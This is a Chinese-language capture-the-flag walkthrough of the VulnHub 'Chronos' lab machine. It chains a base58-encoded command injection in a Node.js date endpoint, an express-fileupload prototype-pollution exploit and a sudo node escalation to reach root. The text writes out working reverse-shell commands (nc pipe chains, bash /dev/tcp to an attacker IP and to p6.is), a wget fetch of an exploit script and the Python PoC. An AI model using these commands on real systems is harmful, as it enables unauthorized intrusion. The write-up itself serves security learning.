一次靶机的渗透测试之Chronos

Chronos 靶机

难度:中

打靶目标: 取得 2 个 flag + root 权限

靶场下载

靶机地址:
https://www.vulnhub.com/entry/chronos-1,735/

本文参考

https://www.bleepingcomputer.com/news/security/nodejs-module-downloaded-7m-times-lets-hackers-inject-code/ 

https://blog.p6.is/Real-World-JS-1/

攻击手段

端口扫描->WEB侦查->命令注入->数据编解码->搜索大法->框架漏洞利用->代码审计->NC串联->本地提权

机器

kali 10.115.186.142/24
靶机 10.115.186.6

渗透过程

信息收集

netdiscover与arping、arp-scan原理相同都是采用arp发送广播包探测

sudo netdiscover -r 10.115.186.0/16

ip地址段是/24实际使用建议-8也就是/16,使用效果会好一些

会针对10.115.x.0/16网段进行尝试 x=1~256

image-20260411135450746.png

全端口扫描

sudo nmap -p- ip

服务版本发现

sudo nmap -p22,8080 -sV ip

image-20260411132323445.png

  • 22端口:OpenSSH 7.6p1 (Ubuntu Linux)
  • 80端口:Apache httpd 2.4.29 (Ubuntu)
  • 8000端口:Node.js Express框架
  • 系统推测:基于服务版本判断目标为Ubuntu系统

image-20260411132657594.png

  • 常规操作
    • 对Web应用进行爬站操作发现隐藏路径和文件
    • 使用Ctrl+U快捷键查看页面源代码

image-20260411135528517.png

var _0x5bdf=['150447srWefj','70lwLrol','1658165LmcNig','open','1260881JUqdKM','10737CrnEEe','2SjTdWC','readyState','responseText','1278676qXleJg','797116soVTES','onreadystatechange','http://chronos.local:8000/date?format=4ugYDuAkScCG5gMcZjEN3mALyG1dD5ZYsiCfWvQ2w9anYGyL','User-Agent','status','1DYOODT','400909Mbbcfr','Chronos','2QRBPWS','getElementById','innerHTML','date'];(function(_0x506b95,_0x817e36){var _0x244260=_0x432d;while(!![]){try{var _0x35824b=-parseInt(_0x244260(0x7e))*parseInt(_0x244260(0x90))+parseInt(_0x244260(0x8e))+parseInt(_0x244260(0x7f))*parseInt(_0x244260(0x83))+-parseInt(_0x244260(0x87))+-parseInt(_0x244260(0x82))*parseInt(_0x244260(0x8d))+-parseInt(_0x244260(0x88))+parseInt(_0x244260(0x80))*parseInt(_0x244260(0x84));if(_0x35824b===_0x817e36)break;else _0x506b95['push'](_0x506b95['shift']());}catch(_0x3fb1dc){_0x506b95['push'](_0x506b95['shift']());}}}(_0x5bdf,0xcaf1e));function _0x432d(_0x16bd66,_0x33ffa9){return _0x432d=function(_0x5bdf82,_0x432dc8){_0x5bdf82=_0x5bdf82-0x7e;var _0x4da6e8=_0x5bdf[_0x5bdf82];return _0x4da6e8;},_0x432d(_0x16bd66,_0x33ffa9);}function loadDoc(){var _0x17df92=_0x432d,_0x1cff55=_0x17df92(0x8f),_0x2beb35=new XMLHttpRequest();_0x2beb35[_0x17df92(0x89)]=function(){var _0x146f5d=_0x17df92;this[_0x146f5d(0x85)]==0x4&&this[_0x146f5d(0x8c)]==0xc8&&(document[_0x146f5d(0x91)](_0x146f5d(0x93))[_0x146f5d(0x92)]=this[_0x146f5d(0x86)]);},_0x2beb35[_0x17df92(0x81)]('GET',_0x17df92(0x8a),!![]),_0x2beb35['setRequestHeader'](_0x17df92(0x8b),_0x1cff55),_0x2beb35['send']();}

似乎是什么编码,使用一个在线工具CyberChef

  • CyberChef是一个强大的在线数据处理工具,也可下载本地运行,托管在GitHub平台。
  • 核心功能:提供数百种操作模块,支持编码/解码、加密/解密、数据格式转换等多种数据处理功能。
https://gchq.github.io/CyberChef/

选择JavaScript Beautiful,美化之后发现一个明文的网址,是不是藏着什么

image-20260411133739677.png

http://chronos.local:8000/date?format=4ugYDuAkScCG5gMcZjEN3mALyG1dD5ZYsiCfWvQ2w9anYGyL

怀疑在访问过程中加载或调用了这个网址,chronos是靶机名,指向8000端口

在/etc/hosts 手动增加IP与域名的绑定关系

10.115.186.6 chronos.local

image-20260411135624652.png

当我ping这个域名就会自动解析到目标主机ip上

image-20260411135701119.png

如果在目标靶机8000端口需要调用某些资源,这时候访问80首页面

http://chronos.local:8000/date?format=4ugYDuAkScCG5gMcZjEN3mALyG1dD5ZYsiCfWvQ2w9anYGyL

这个链接可以正常访问,也许会有东西

image-20260411135729720.png

利用burp拦截数据包查看所有请求数据包的信息,分析整个的过程

  • 首先使用GET方法访问目标地址的根目录http:/10.0.2.20
  • 随后访问chronos.local:8000端口时使用了OPTIONS方法
  • 最后GET访问 chronos.local:8000

image-20260411140412988.png

当修改format参数内容后,服务器不再返回系统时间信息,说明这个参数至关重要

解密一下,先调用Magic模块,尝试猜解一下是什么加密,应该是base58编码方式

image-20260411140851586.png

'+Today is %A, %B %d, %Y %H:%M:%S.'

kali 也有 date命令是用来显示时间的

┌──(kali㉿kali)-[~]
└─$ date
Sat Apr 11 02:11:28 AM EDT 2026
                                                                                                                                           
┌──(kali㉿kali)-[~]
└─$ date '+Today is %A, %B %d, %Y %H:%M:%S.'
Today is Saturday, April 11, 2026 02:11:35.                                

也就是说这是服务端执行的一个操作系统指令

date '+Today is %A, %B %d, %Y %H:%M:%S.'

命令执行漏洞

是否存在命令注入?

|| :如果前面语句错误执行后面的

&&:如果前面命令正常执行后面的

注入命令必须base58编码

date '+Today is %A, %B %d, %Y %H:%M:%S.' && ls
ls -> yZSGA

image-20260411141625681.png

存在命令注入漏洞

image-20260411141737534.png

执行反弹shell

由于nc使用范围广,于是尝试使用nc连接

&&ls /bin -> VAZYW9RHPu6D

image-20260411142032208.png

不知道nc版本是否有-e参数,尝试连接看能不能正常执行,如果反弹连接我kali的监听端口,基本连接命令是否可以正常执行

nc -nvlp 4444
&&nc 10.115.186.142 4444 -> 4UiiY6bkqsRtXFsb6BHfbNhHWWr8VTNrw

接收到了,连接正常建立

image-20260411142512066.png

接着尝试-e参数,没有的话就使用nc串联来反弹shell

ls /bin 验证过目标系统下存在/bin/bash

&&nc 10.115.186.142 4444 -e /bin/bash -> 2HADNsTVDGnLKp7oXWvu3unzneCBwSF4fuPZESY61KRpiYKH9xK
nc -nvlp 4444

失败了,回连都没建立,说明目标服务器nc不包含-e参数

nc串联

&&nc 10.115.186.142 4444 | /bin/bash | nc 10.115.186.142 5555

Wqif9Y5HJnL8JFB68hUTE22g8w4o8ywYxazY7CiswxMrsir9trqng5DNfXHpVciJJpoZXq8fJHxgrRrYqSc

成功getshell了

image-20260411143242460.png

查看/etc/passwd,发现一个用户imera,进入到imera的家目录发现一个user.txt

但是只有该账号才有权限

cat /etc/passwd

image-20260411143633309.png

提权1

Linux系统常见提权方法
  • 内核漏洞提权:

    通过识别系统内核版本

    uname -a
    
    Linux chronos 4.15.0-151-generic #157-Ubuntu SMP Fri Jul 9 23:07:57 UTC 2021 x86_64 x86_64 x86_64 GNU/Linux
    

    搜索该版本已知漏洞的利用工具和代码。若未找到可用漏洞利用则该方法失效。

  • SUID权限滥用: 检查目标系统上SUID权限配置错误,当关键程序被错误配置SUID权限时可能实现提权。

  • sudo配置漏洞:

    利用sudo文件中配置不当的命令执行权限,但需当前用户具有sudo权限

    sudo -l
    

    当前用户www-data用户无此权限。

突破

当常规提权方法失效时,信息收集成为最关键环节,其完整度直接决定后续攻击思路的产生。

量变到质变: 收集的信息越全面,产生的漏洞利用和提权思路越多;信息不足时则难以形成有效攻击路径。

在目标靶机进行系统文件目录深度检查后,发现web应用程序根目录存在可利用的突破点。

app.js 这是由node.js编写的后端,我并不了解这项技术,所以无法进行代码审计,现在需要快速的信息收集学习这个找到突破口

node.js

起源与发展:最初由个人开发者创建,现由node.js基金会维护,使用javascript这种开发的代码在目标服务器上去搭建Web应用,基于这种技术开发出来的Web应用有很多优势:非阻塞机制、异步输入输出模型,使得基于node.js这种使用JavaScript开发出来的Web应用程序,在处理资料密集型的计时应用优势很明显。通常都是使用已有的开发框架和库进行开发

搜索哪些库经常被用来基于node.js开发Web应用程序

socket、Express 、connect

代码审计

几乎所有node.js开发出来的都会包含backage.json,会定义当前项目所需要的所有模块框架,配置信息

image-20260411164633477.png

bs58就是base58加密库

寻找express这个库是否存在nday,并没找到

查看app.js服务端代码

// created by alienum for Penetration Testing
const express = require('express');
const { exec } = require("child_process");
const bs58 = require('bs58');
const app = express();

const port = 8000;

const cors = require('cors');


app.use(cors());

app.get('/', (req,res) =>{
  
    res.sendFile("/var/www/html/index.html");
});

app.get('/date', (req, res) => {

    var agent = req.headers['user-agent'];
    var cmd = 'date ';
    const format = req.query.format;
    const bytes = bs58.decode(format);
    var decoded = bytes.toString();
    var concat = cmd.concat(decoded);
    if (agent === 'Chronos') {
        if (concat.includes('id') || concat.includes('whoami') || concat.includes('python') || concat.includes('nc') || concat.includes('bash') || concat.includes('php') || concat.includes('which') || concat.includes('socat')) {

            res.send("Something went wrong");
        }
        exec(concat, (error, stdout, stderr) => {
            if (error) {
                console.log(`error: ${error.message}`);
                return;
            }
            if (stderr) {
                console.log(`stderr: ${stderr}`);
                return;
            }
            res.send(stdout);
        });
    }
    else{

        res.send("Permission Denied");
    }
})

app.listen(port,() => {

    console.log(`Server running at ${port}`);

})

很遗憾并没有提权的方法

来到上一级目录,有另外一个web应用chronos.v2

cd ..
ls -l
cd chronos.v2
ls -l
cd backend
ls -l
cat package.json

image-20260411165636530.png

发现文件上传功能

针对性搜索node.js express-fileupload 漏洞

https://www.freebuf.com/vuls/245658.html
https://blog.p6.is/Real-World-JS-1/	(原来发现的作者博客,现在挂了)
https://www.bleepingcomputer.com/news/security/nodejs-module-downloaded-7m-times-lets-hackers-inject-code/#google_vignette

利用作者给的POC的Python脚本,获得一个新的shell

import requests
 
cmd = 'bash -c "bash -i &> /dev/tcp/p6.is/8888 0>&1"'
 
# pollute
requests.post('http://p6.is:7777', files = {'__proto__.outputFunctionName': (
    None, f"x;console.log(1);process.mainModule.require('child_process').exec('{cmd}');x")})
 
# execute command
requests.get('http://p6.is:7777')

先在Kali编辑一下exp.py,然后开启HTTP服务,等一下上传到靶机上,再执行脚本

vi exp.py

修改监听ip+端口,由于在目标服务器运行,所以是127.0.0.1

import requests
 
cmd = 'bash -c "bash -i &> /dev/tcp/10.115.186.142/4444 0>&1"'
 
# pollute
requests.post('http://127.0.0.1:8080', files = {'__proto__.outputFunctionName': (
    None, f"x;console.log(1);process.mainModule.require('child_process').exec('{cmd}');x")})
 
# execute command
requests.get('http://127.0.0.1:8080')

kali开启https服务

python3 -m http.server 80

目标服务器

cd /tmp
pwd
wget http://10.115.186.142/exp.py #kali记得监听4444
ls
python3 exp.py

成功getshell !!!

image-20260411172027186.png

提权2

继续提权,根据提示第三个flag在root下,但是没有权限,再测试后发现sudo有可能

sudo -l

在不需要密码的情况下可以sudo使用root运行npm、node命令

image-20260411172431223.png

node提权

node也可以进行反弹shell,试着提权

提权方法网址:https://gtfobins.github.io/gtfobins/node/

image-20260411172811765.png

node -e 'require("child_process").spawn("/bin/sh", {stdio: [0, 1, 2]})'

image-20260411173041231.png

byBjaHJvbm9zIHBlcm5hZWkgZmlsZSBtb3UK
YXBvcHNlIHNpb3BpIG1hemV1b3VtZSBvbmVpcmEK

温馨提示:本文内容仅用于合法授权的安全学习与研究交流,严禁用于未授权渗透测试、漏洞利用或任何违法行为。

涉及企业或平台的未公开漏洞信息,请遵循负责任披露原则,勿公开传播可直接复现的敏感细节。

如存在侵权、错误信息或不当内容,请联系站方处理,我们将及时核实并删除。邮箱:admin@baimaojianghu.com。